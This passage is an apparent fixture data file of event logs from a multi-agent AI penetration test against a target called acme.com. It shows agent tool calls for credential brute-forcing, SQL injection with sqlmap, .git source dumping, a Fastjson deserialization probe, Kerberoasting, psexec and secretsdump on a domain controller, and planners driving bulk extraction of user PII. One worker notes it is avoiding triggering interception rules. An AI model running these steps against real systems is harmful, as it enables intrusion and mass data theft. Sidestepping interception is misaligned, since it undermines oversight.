ts: T("2026-07-25T20:25:38Z"),
|
||
kind: "tool_result",
|
||
tool: "node_detail",
|
||
tool_use_id: "p2-nd",
|
||
summary:
|
||
"fa6 증거: ip a → eth0 10.0.20.15(DMZ) / eth1 10.10.10.15(내부망); ping 10.10.10.10 성공, DMZ 경계 횡단 성립",
|
||
},
|
||
{
|
||
seq: 1204,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:25:50Z"),
|
||
kind: "tool_use",
|
||
tool: "prove_goal",
|
||
tool_use_id: "p2-pg",
|
||
summary: "prove_goal(g3, evidence=fa6)",
|
||
detail:
|
||
"reason: i7 의 RCE 로 DMZ 거점(fa4) 확보, fa5 로 root 권한 상승, fa6 가 두 번째 NIC 의 내부망 직결과 DC01 ping 성공을 입증. 『DMZ 돌파, 내부망 거점 확보』 인수 달성.",
|
||
},
|
||
{
|
||
seq: 1205,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:25:52Z"),
|
||
kind: "tool_result",
|
||
tool: "prove_goal",
|
||
tool_use_id: "p2-pg",
|
||
summary: "goal g3 → met(증거 fa6 연결됨); 아직 g1/g2/g4 가 미달성이라 작업을 계속한다",
|
||
},
|
||
{
|
||
seq: 1206,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:26:10Z"),
|
||
kind: "tool_use",
|
||
tool: "add_intent",
|
||
tool_use_id: "p2-ai",
|
||
summary: "add_intent × 4 (거점을 pivot 삼아 내부망 횡적 이동 전개)",
|
||
detail:
|
||
"intents=[\n { summary: 'dmz-web01 을 pivot 삼아 내부망 10.10.10.0/24 호스트 발견과 포트 식별', asset_ids: [dmz-web01], parent_ids: [fa6], priority: 8 },\n { summary: '내부망 횡적 이동: 하드코딩 비밀번호 sa/Acme@2021 로 자격 증명 재사용과 패스워드 스프레이', parent_ids: [faCreds], priority: 8 },\n { summary: '내부 Jenkins(10.10.10.20) 미인증 /script Groovy 실행(RCE)', parent_ids: [fa6], priority: 9 },\n { summary: '도메인 서비스 계정 대상 Kerberoasting 후 오프라인 크래킹', parent_ids: [fa6], priority: 8 },\n]\n호스트 발견이 선행 단계(먼저 파견)이고, 나머지 세 건은 병렬 횡적 탐색 차원이다.",
|
||
},
|
||
{
|
||
seq: 1207,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:26:12Z"),
|
||
kind: "tool_result",
|
||
tool: "add_intent",
|
||
tool_use_id: "p2-ai",
|
||
summary: "4 intents created → ids=[i9, i10, i11, i12]",
|
||
},
|
||
{
|
||
seq: 1208,
|
||
worker: "planner",
|
||
ts: T("2026-07-25T20:26:20Z"),
|
||
kind: "text",
|
||
summary:
|
||
"g3 달성, 공격면이 외부망에서 내부망으로 전환됐다. g4「내부망 횡적 이동으로 내부 표적 도메인 컨트롤러 DC01 장악」을 등록 요청했고, i9(호스트 발견) + i10/i11/i12 세 건의 병렬 횡적 이동을 파견했다. 자격 증명 재사용은 faCreds 에 직접 고정한다. 외부망 소스 코드 유출로 얻은 비밀번호를 내부망 횡적 이동에 투입하는 것이다.",
|
||
},
|
||
|
||
// ── 第 3 轮 · 靶标达成复盘(2026-07-26 00:25)──
|
||
{ seq: 1300, worker: "planner", ts: T("2026-07-26T00:25:00Z"), kind: "round", summary: "라운드 3 · 표적 달성 리뷰" },
|
||
{
|
||
seq: 1301,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T00:25:16Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"이번 라운드 worker 산출물 대조: i9→fa7「내부망 활성 DC01/FS01/JENKINS」, i11→fa8「Jenkins /script 인증 없는 Groovy」 + fa9「Jenkins 자격 증명 저장소에서 acme\\svc_deploy 평문 비밀번호 추출」, i12→fa10「svc_sql TGS Kerberoast, hashcat 로 Sql@2020 크랙」. svc_deploy 는 Domain Admins 소속이고, i13 이 이를 써서 psexec 로 DC01 을 장악하고 secretsdump 했다. g4 인수(DC01 장악)는 이미 달성됐을 것이므로, 먼저 finding 증거 체인을 대조한 뒤 확정한다.",
|
||
},
|
||
{
|
||
seq: 1302,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T00:25:30Z"),
|
||
kind: "tool_use",
|
||
tool: "list_findings",
|
||
tool_use_id: "p3-lf",
|
||
summary: "list_findings: DC01 함락 확정 증거 대조",
|
||
},
|
||
{
|
||
seq: 1303,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T00:25:40Z"),
|
||
kind: "tool_result",
|
||
tool: "list_findings",
|
||
tool_use_id: "p3-lf",
|
||
summary:
|
||
"F-09「도메인 컨트롤러 DC01 완전 장악 / secretsdump 로 전체 도메인 해시 추출」critical(증거: psexec svc_deploy@10.10.10.10 + NTDS.dit dump); 상류 체인 fa9→fa10→i13 완전",
|
||
},
|
||
{
|
||
seq: 1304,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T00:25:52Z"),
|
||
kind: "tool_use",
|
||
tool: "prove_goal",
|
||
tool_use_id: "p3-pg",
|
||
summary: "prove_goal(g4, evidence=F-09)",
|
||
detail:
|
||
"reason: Jenkins 가 svc_deploy(Domain Admin)를 유출 → psexec 로 DC01 장악 → secretsdump 로 전체 도메인 해시, F-09 확정, 『내부 표적 도메인 컨트롤러 DC01 장악』 달성.",
|
||
},
|
||
{
|
||
seq: 1305,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T00:25:54Z"),
|
||
kind: "tool_result",
|
||
tool: "prove_goal",
|
||
tool_use_id: "p3-pg",
|
||
summary: "goal g4 → met; 시스템 안내: g2 가 아직 open 이고 마지막 목표가 아니므로, 작업이 전체로 마무리되지 않았다",
|
||
},
|
||
{
|
||
seq: 1306,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T00:26:10Z"),
|
||
kind: "text",
|
||
summary:
|
||
"g4 마무리, 내·외부망 경로가 완전히 뚫렸다(외부망 RCE → DMZ → 내부망 → 도메인 컨트롤러). 미커버 방향을 하나씩 대조한다. g2「사용자 민감 데이터 열람」은 아직 마지막 한 걸음이 부족하지만, 기존 i3(백오피스 사용자 엔드포인트) + i5(API IDOR)가 이미 그 방향을 커버하고 있고 둘 다 running 이다. 이번 라운드에는 【본질적으로 다른 미커버 신규 방향】이 없으므로, 절제 원칙에 따라 신규 의도 0, i3/i5 의 산출을 기다린다.",
|
||
},
|
||
|
||
// ── 第 4 轮 · 后台达成,收敛 g2(2026-07-26 03:55)──
|
||
{
|
||
seq: 1400,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:00Z"),
|
||
kind: "round",
|
||
summary: "라운드 4 · 백오피스 달성, g2 수렴",
|
||
},
|
||
{
|
||
seq: 1401,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:14Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"recent_facts 대조: work#2 가 faCreds 의 Acme@2021 로 admin 백오피스에 적중(i2 done)해 백오피스 관리 권한을 확보했다. g1 인수 달성이므로 먼저 prove_goal 로 확정한다. 이어서 【정량 인수 대조】를 한다. g2「사용자 민감 데이터 열람」은 현재 i3/i5 가 엔드포인트 표면만 건드렸을 뿐 아직 실제로 대량 데이터를 취득하지 못했고 실측상 기준 미달이므로, prove_goal 을 【금지】하고 우선순위를 올려 데이터 취득 의도를 보강하는 쪽으로 바꾼다.",
|
||
},
|
||
{
|
||
seq: 1402,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:26Z"),
|
||
kind: "tool_use",
|
||
tool: "prove_goal",
|
||
tool_use_id: "p4-pg",
|
||
summary: "prove_goal(g1, evidence=fa1)",
|
||
detail:
|
||
"reason: i2 가 외부망에서 유출된 하드코딩 비밀번호 Acme@2021 로 admin 백오피스(Element-UI)에 로그인 성공, 백오피스 관리 권한을 획득, g1 달성.",
|
||
},
|
||
{
|
||
seq: 1403,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:28Z"),
|
||
kind: "tool_result",
|
||
tool: "prove_goal",
|
||
tool_use_id: "p4-pg",
|
||
summary: "goal g1 → met; 남은 미달성: g2",
|
||
},
|
||
{
|
||
seq: 1404,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:40Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"g2 정량 대조: 목표 요구사항 『사용자 민감 데이터 열람』은 곧 실제로 대량 사용자 레코드를 취득하는 것이다. graph_overview 의 findings 에는 아직 『사용자 데이터 추출 성공』 항목이 없고, i3/i5 모두 running 으로 데이터 취득 결과를 회신하지 않았다. 실측상 기준 미달이다. 『백오피스에 이미 진입했으니 대체로 달성』이라며 성급히 met 로 표시하는 것을 엄격히 금지하고, 의도를 계속 파견해 격차를 메운다.",
|
||
},
|
||
{
|
||
seq: 1405,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:52Z"),
|
||
kind: "tool_use",
|
||
tool: "add_intent",
|
||
tool_use_id: "p4-ai",
|
||
summary: "add_intent × 2 (g2 데이터 취득 수렴, 우선순위 상향)",
|
||
detail:
|
||
"intents=[\n { summary: 'admin 백오피스 로그인 완료, 사용자 관리/내보내기 엔드포인트를 열거해 사용자 민감 필드를 대량 추출', asset_ids: [admin], parent_ids: [fa1], priority: 9 },\n { summary: 'api.acme.com 주문 IDOR 로 order_id 를 순회해 사용자 주문/PII 를 대량 추출', asset_ids: [api], parent_ids: [fa2], priority: 9 },\n]\n주: i3/i5 는 이미 running 상태라, 이번 라운드에는 더 정밀한 데이터 취득 설명 + 우선순위 상향(→9)으로 증원하며, 같은 뜻의 의도를 중복 파견하지 않는다.",
|
||
},
|
||
{
|
||
seq: 1406,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:54Z"),
|
||
kind: "tool_result",
|
||
tool: "add_intent",
|
||
tool_use_id: "p4-ai",
|
||
summary: "2 intents updated → ids=[i3, i5](우선순위 9 로 상향, 설명을 『대량 데이터 취득』으로 구체화)",
|
||
},
|
||
{
|
||
seq: 1407,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:58Z"),
|
||
kind: "text",
|
||
summary:
|
||
"g1 달성(4개 중 met 3개: g1/g3/g4). g2 는 정량 인수를 엄격히 지킨다. 백오피스에 진입한 것만으로는 인정되지 않고, 반드시 대량 사용자 데이터를 취득해야 확정한다. i3/i5 를 priority 9 로 올리고 데이터 취득 의도로 구체화했으며, worker 회신이 오면 작업 전체를 마무리할 수 있다.",
|
||
},
|
||
|
||
// work#1 · i1 子域枚举与端口扫描(done)
|
||
{
|
||
seq: 10,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:20:00Z"),
|
||
kind: "thinking",
|
||
summary: "먼저 서브도메인을 수동적으로 정찰한 뒤, 살아 있는 호스트에 포트/서비스 식별을 수행한다.",
|
||
},
|
||
{
|
||
seq: 11,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:20:30Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t11",
|
||
summary: "subfinder -d acme.com -silent | httpx -silent -sc -title",
|
||
},
|
||
{
|
||
seq: 12,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:22:10Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t11",
|
||
summary:
|
||
"www.acme.com [200] Acme Corp\nadmin.acme.com [200] Acme Admin 로그인\napi.acme.com [401]\nshop.acme.com [200]\nvpn.acme.com [200]",
|
||
detail: "살아 있는 서브도메인 5개이며, 그중 admin 은 백오피스 로그인 페이지다.",
|
||
},
|
||
{
|
||
seq: 13,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:23:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t12",
|
||
summary: "nmap -sV -T4 -p- 203.0.113.10",
|
||
},
|
||
{
|
||
seq: 14,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:26:40Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t12",
|
||
summary: "22/tcp ssh OpenSSH 8.9p1\n80/tcp http nginx 1.24.0\n443/tcp https nginx 1.24.0",
|
||
detail: "22/80/443 포트가 열려 있다.",
|
||
},
|
||
{
|
||
seq: 15,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:27:00Z"),
|
||
kind: "tool_use",
|
||
tool: "upsert_asset",
|
||
tool_use_id: "t13",
|
||
summary: "upsert_asset × 6 (서브도메인+서비스)",
|
||
},
|
||
{
|
||
seq: 16,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:27:01Z"),
|
||
kind: "tool_result",
|
||
tool: "upsert_asset",
|
||
tool_use_id: "t13",
|
||
summary: "6 assets upserted",
|
||
},
|
||
{
|
||
seq: 17,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:40:00Z"),
|
||
kind: "result",
|
||
summary: "자산 정찰을 완료했고 백오피스 admin.acme.com 을 발견했으며, 결과를 그래프에 반환한다.",
|
||
input_tokens: 96000,
|
||
output_tokens: 6100,
|
||
cache_read_tokens: 61000,
|
||
cache_write_tokens: 9000,
|
||
},
|
||
|
||
// work#2 · i2 后台默认口令(done,证明 g1)
|
||
{
|
||
seq: 20,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:31:00Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"백오피스는 Element-UI 이고, 로그인 엔드포인트에 캡차도 속도 제한도 없다. 먼저 기본 비밀번호 목록을 시도한 뒤, 사전 대입으로 넘어간다.",
|
||
},
|
||
{
|
||
seq: 21,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:32:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t21",
|
||
summary: "curl -s -d 'username=admin&password=admin' https://admin.acme.com/login -o /dev/null -w '%{http_code}'",
|
||
},
|
||
{
|
||
seq: 22,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:32:03Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t21",
|
||
summary: "401",
|
||
detail: "admin/admin 실패.",
|
||
},
|
||
{
|
||
seq: 23,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:32:30Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t22",
|
||
summary: "curl -si -d 'username=admin&password=admin123' https://admin.acme.com/login",
|
||
},
|
||
{
|
||
seq: 24,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:32:33Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t22",
|
||
summary: "HTTP/1.1 302 Found\nSet-Cookie: session=eyJ…; HttpOnly\nLocation: /dashboard",
|
||
detail: "admin/admin123 로그인 성공, 세션 cookie 를 획득했다.",
|
||
},
|
||
{
|
||
seq: 25,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:33:10Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t23",
|
||
summary: "curl -s -b 'session=eyJ…' https://admin.acme.com/dashboard | grep -o '<title>[^<]*'",
|
||
},
|
||
{
|
||
seq: 26,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:33:12Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t23",
|
||
summary: "<title>Acme Admin · 콘솔",
|
||
detail: "백오피스 콘솔에 진입했음을 확인했다.",
|
||
},
|
||
{
|
||
seq: 27,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:34:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t24",
|
||
summary: "report_finding(Default Credentials, high)",
|
||
},
|
||
{
|
||
seq: 28,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:34:01Z"),
|
||
kind: "tool_result",
|
||
tool: "report_finding",
|
||
tool_use_id: "t24",
|
||
summary: "finding f-6 을 기록했고, 목표 g1 에 연결했다(proves).",
|
||
},
|
||
{
|
||
seq: 29,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:50:00Z"),
|
||
kind: "result",
|
||
summary: "백오피스 기본 비밀번호를 확인했고, 목표 ① 을 달성했다.",
|
||
input_tokens: 72000,
|
||
output_tokens: 4800,
|
||
cache_read_tokens: 48000,
|
||
cache_write_tokens: 7200,
|
||
},
|
||
|
||
// work#4 · i4 SQL 注入(done)
|
||
{
|
||
seq: 40,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-25T22:01:00Z"),
|
||
kind: "thinking",
|
||
summary: "search?q= 결과 페이지가 q 를 제목에 이어 붙인다. 먼저 수동으로 작은따옴표를 넣어 오류 메시지를 확인한다.",
|
||
},
|
||
{
|
||
seq: 41,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-25T22:02:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t41",
|
||
summary: "curl -s \"https://www.acme.com/search?q=1'\" | grep -i 'sql\\|syntax'",
|
||
},
|
||
{
|
||
seq: 42,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-25T22:02:04Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t41",
|
||
summary: "Unclosed quotation mark ... near '1'.",
|
||
detail: "MSSQL 오류 기반 인젝션 징후다.",
|
||
},
|
||
{
|
||
seq: 43,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-25T22:03:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t42",
|
||
summary: "sqlmap -u 'https://www.acme.com/search?q=1' --batch --dbs --level 2",
|
||
},
|
||
{
|
||
seq: 44,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-26T01:18:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t42",
|
||
summary:
|
||
"Parameter: q (GET) — error-based, MSSQL\navailable databases [4]: acme_prod, information_schema, master, tempdb",
|
||
detail: "인젝션 가능을 확인했고, 데이터베이스 4개를 열거했다.",
|
||
},
|
||
{
|
||
seq: 45,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-26T01:19:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t43",
|
||
summary: "report_finding(SQL Injection, high)",
|
||
},
|
||
{
|
||
seq: 46,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-26T01:19:01Z"),
|
||
kind: "tool_result",
|
||
tool: "report_finding",
|
||
tool_use_id: "t43",
|
||
summary: "finding f-1 을 기록했다.",
|
||
},
|
||
{
|
||
seq: 47,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-26T01:20:00Z"),
|
||
kind: "result",
|
||
summary: "SQL 인젝션을 확인했다.",
|
||
input_tokens: 118000,
|
||
output_tokens: 7400,
|
||
cache_read_tokens: 82000,
|
||
cache_write_tokens: 11000,
|
||
},
|
||
|
||
// work#5 · i5 IDOR(running)
|
||
{
|
||
seq: 50,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T02:31:00Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"/v1/orders?id= 는 숫자 자동 증가 id 이고, 전형적인 IDOR 면이다. 먼저 자기 주문을 조회한 뒤, id 를 바꿔 타인 주문을 읽을 수 있는지 확인한다.",
|
||
},
|
||
{
|
||
seq: 51,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T02:40:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t51",
|
||
summary: "curl -s -H 'Authorization: Bearer <self>' https://api.acme.com/v1/orders?id=1001",
|
||
},
|
||
{
|
||
seq: 52,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T02:40:02Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t51",
|
||
summary: '{ "order_id":1001, "user_id":42, "amount":299 }',
|
||
detail: "자기 주문이며, 정상이다.",
|
||
},
|
||
{
|
||
seq: 53,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T02:43:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t52",
|
||
summary: "curl -s -H 'Authorization: Bearer <self>' https://api.acme.com/v1/orders?id=1002",
|
||
},
|
||
{
|
||
seq: 54,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T02:43:02Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t52",
|
||
summary: '{ "order_id":1002, "user_id":77, "amount":1299, "phone":"138****6021", "address":"서울시 강남구 ****" }',
|
||
detail: "권한 우회로 타인 주문을 읽었고(전화번호/주소 포함), 소유자 검증이 없다.",
|
||
},
|
||
{
|
||
seq: 55,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T02:44:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t53",
|
||
summary: "report_finding(IDOR, high)",
|
||
},
|
||
{
|
||
seq: 56,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T02:44:01Z"),
|
||
kind: "tool_result",
|
||
tool: "report_finding",
|
||
tool_use_id: "t53",
|
||
summary: "finding f-2 를 기록했다.",
|
||
},
|
||
{
|
||
seq: 57,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T03:58:10Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"id 범위를 일괄 순회하면서, 권한 우회로 접근 가능한 데이터 규모를 평가하는 중이다(아직 내보내지 않으며, 가로채기 규칙 발동을 피한다).",
|
||
},
|
||
|
||
// work#3 · i3 后台用户接口枚举(running)
|
||
{
|
||
seq: 60,
|
||
worker: "work#3",
|
||
intent_id: "i3",
|
||
ts: T("2026-07-26T03:56:00Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"백오피스 세션을 이미 확보했고, 관리 엔드포인트를 열거하여 사용자 민감 데이터를 대량으로 내보낼 수 있는 입구를 찾는다(목표 ②).",
|
||
},
|
||
{
|
||
seq: 61,
|
||
worker: "work#3",
|
||
intent_id: "i3",
|
||
ts: T("2026-07-26T03:57:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t61",
|
||
summary: "curl -s -b 'session=eyJ…' https://admin.acme.com/api/users?page=1",
|
||
},
|
||
{
|
||
seq: 62,
|
||
worker: "work#3",
|
||
intent_id: "i3",
|
||
ts: T("2026-07-26T03:57:02Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t61",
|
||
summary: '{ "total": 12840, "items": [ { "id":1, "email":"a***@acme.com", "phone":"139****" } ] }',
|
||
detail: "관리 엔드포인트가 전체 사용자를 페이지 단위로 반환할 수 있고(이메일/전화번호 포함), 약 1만 2,800건이다.",
|
||
},
|
||
{
|
||
seq: 63,
|
||
worker: "work#3",
|
||
intent_id: "i3",
|
||
ts: T("2026-07-26T03:58:20Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"사용자 데이터를 대량으로 읽는 입구가 존재함을 확인했다. 내보내기 동작이 파괴적/유출 규칙에 걸려, 가로채기 승인을 제출하고 통과를 기다리는 중이다.",
|
||
},
|
||
|
||
// workG · ig .git 源码泄露与硬编码凭据(done)
|
||
{
|
||
seq: 310,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:26:00Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"robots.txt 가 /.git 을 언급한다. 먼저 디렉터리를 내려받을 수 있는지 탐지하고, 소스 코드를 확보하면 화이트박스로 인젝션 지점과 하드코딩된 비밀 키를 찾을 수 있다.",
|
||
},
|
||
{
|
||
seq: 311,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:27:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "tg1",
|
||
summary: "curl -s -o /dev/null -w '%{http_code}' https://www.acme.com/.git/HEAD",
|
||
},
|
||
{
|
||
seq: 312,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:27:02Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "tg1",
|
||
summary: "200",
|
||
detail: ".git 디렉터리가 외부에서 접근 가능하다.",
|
||
},
|
||
{
|
||
seq: 313,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:28:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "tg2",
|
||
summary: "git-dumper https://www.acme.com/.git/ /tmp/acme && git -C /tmp/acme log --oneline | head",
|
||
},
|
||
{
|
||
seq: 314,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:30:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "tg2",
|
||
summary: "214개 파일을 복원했다; HEAD=main. config.php / db.php 가 목록에 있다.",
|
||
detail: "백엔드 소스 코드 전체를 /tmp/acme 에 복원했다.",
|
||
},
|
||
{
|
||
seq: 315,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:34:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "tg3",
|
||
summary: "grep -rniE 'password|pwd|secret|Data Source' /tmp/acme/config.php",
|
||
},
|
||
{
|
||
seq: 316,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:34:03Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "tg3",
|
||
summary: "$db_user='sa'; $db_pass='Acme@2021'; $db_host='10.10.10.30';",
|
||
detail:
|
||
"데이터베이스 비밀번호가 하드코딩되어 있고, host 가 내부망 IP 를 가리킨다. 내부망 공용으로 추정되는 자격 증명으로 기록한다.",
|
||
},
|
||
{
|
||
seq: 317,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:36:00Z"),
|
||
kind: "result",
|
||
summary:
|
||
"소스 코드 유출과 하드코딩 DB 자격 증명을 확인했고, 자격 증명을 그래프에 반영해 이후 내부망에서 재사용할 수 있게 한다.",
|
||
input_tokens: 88000,
|
||
output_tokens: 5200,
|
||
cache_read_tokens: 60000,
|
||
cache_write_tokens: 8000,
|
||
},
|
||
|
||
// work#6 · i6 shop 指纹与 CVE 关联(done)
|
||
{
|
||
seq: 320,
|
||
worker: "work#6",
|
||
intent_id: "i6",
|
||
ts: T("2026-07-25T14:22:00Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"shop.acme.com 은 자체 개발 전자상거래이므로, 먼저 프레임워크·컴포넌트 버전을 지문 식별한 뒤, 알려진 역직렬화 취약점이 있는 컴포넌트를 공략한다.",
|
||
},
|
||
{
|
||
seq: 321,
|
||
worker: "work#6",
|
||
intent_id: "i6",
|
||
ts: T("2026-07-25T14:24:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t6a",
|
||
summary: "curl -si https://shop.acme.com/ | grep -iE 'x-powered-by|server|jsessionid'",
|
||
},
|
||
{
|
||
seq: 322,
|
||
worker: "work#6",
|
||
intent_id: "i6",
|
||
ts: T("2026-07-25T14:24:03Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t6a",
|
||
summary: "X-Powered-By: Servlet\nSet-Cookie: JSESSIONID=...",
|
||
detail: "Java 기술 스택이며, JSON body 를 받는 /api/import 엔드포인트가 존재한다.",
|
||
},
|
||
{
|
||
seq: 323,
|
||
worker: "work#6",
|
||
intent_id: "i6",
|
||
ts: T("2026-07-25T14:30:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t6b",
|
||
summary:
|
||
'curl -s -H \'Content-Type: application/json\' -d \'{"a":{"@type":"java.lang.AutoCloseable"}}\' https://shop.acme.com/api/import',
|
||
},
|
||
{
|
||
seq: 324,
|
||
worker: "work#6",
|
||
intent_id: "i6",
|
||
ts: T("2026-07-25T14:31:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t6b",
|
||
summary: "오류 스택에 com.alibaba.fastjson.JSONException (1.2.24) 포함",
|
||
detail: "Fastjson 1.2.24 를 확인했고, 이는 JdbcRowSetImpl JNDI 인젝션 RCE 에 대응한다.",
|
||
},
|
||
{
|
||
seq: 325,
|
||
worker: "work#6",
|
||
intent_id: "i6",
|
||
ts: T("2026-07-25T14:40:00Z"),
|
||
kind: "result",
|
||
summary: "지문이 Fastjson 1.2.24 에 적중해 역직렬화 RCE 공격면이 성립했고, 익스플로잇 의도로 넘긴다.",
|
||
input_tokens: 64000,
|
||
output_tokens: 4100,
|
||
cache_read_tokens: 42000,
|
||
cache_write_tokens: 6000,
|
||
},
|
||
|
||
// work#7 · i7 反序列化 RCE 拿反弹 shell(done,证明 g3)
|
||
{
|
||
seq: 330,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:12:00Z"),
